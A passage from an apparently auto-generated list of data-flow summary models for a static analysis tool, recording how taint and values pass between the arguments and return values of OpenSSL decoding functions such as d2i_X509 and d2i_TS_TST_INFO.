"Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP_bio", "(BIO *,TS_RESP **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_bio", "(BIO *,TS_RESP **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_bio", "(BIO *,TS_RESP **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_bio", "(BIO *,TS_RESP **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_bio", "(BIO *,TS_RESP **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_bio", "(BIO *,TS_RESP **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_bio", "(BIO *,TS_RESP **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_bio", "(BIO *,TS_RESP **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_bio", "(BIO *,TS_RESP **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_bio", "(BIO *,TS_RESP **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_fp", "(FILE *,TS_RESP **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_fp", "(FILE *,TS_RESP **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_fp", "(FILE *,TS_RESP **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_fp", "(FILE *,TS_RESP **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_fp", "(FILE *,TS_RESP **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_fp", "(FILE *,TS_RESP **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_fp", "(FILE *,TS_RESP **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_fp", "(FILE *,TS_RESP **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_fp", "(FILE *,TS_RESP **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_fp", "(FILE *,TS_RESP **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_bio", "(BIO *,TS_TST_INFO **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_bio", "(BIO *,TS_TST_INFO **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_bio", "(BIO *,TS_TST_INFO **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_bio", "(BIO *,TS_TST_INFO **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_bio", "(BIO *,TS_TST_INFO **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_bio", "(BIO *,TS_TST_INFO **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_bio", "(BIO *,TS_TST_INFO **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_bio", "(BIO *,TS_TST_INFO **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_bio", "(BIO *,TS_TST_INFO **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_bio", "(BIO *,TS_TST_INFO **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_fp", "(FILE *,TS_TST_INFO **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_fp", "(FILE *,TS_TST_INFO **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_fp", "(FILE *,TS_TST_INFO **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_fp", "(FILE *,TS_TST_INFO **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_fp", "(FILE *,TS_TST_INFO **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_fp", "(FILE *,TS_TST_INFO **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_fp", "(FILE *,TS_TST_INFO **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_fp", "(FILE *,TS_TST_INFO **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_fp", "(FILE *,TS_TST_INFO **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_fp", "(FILE *,TS_TST_INFO **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", 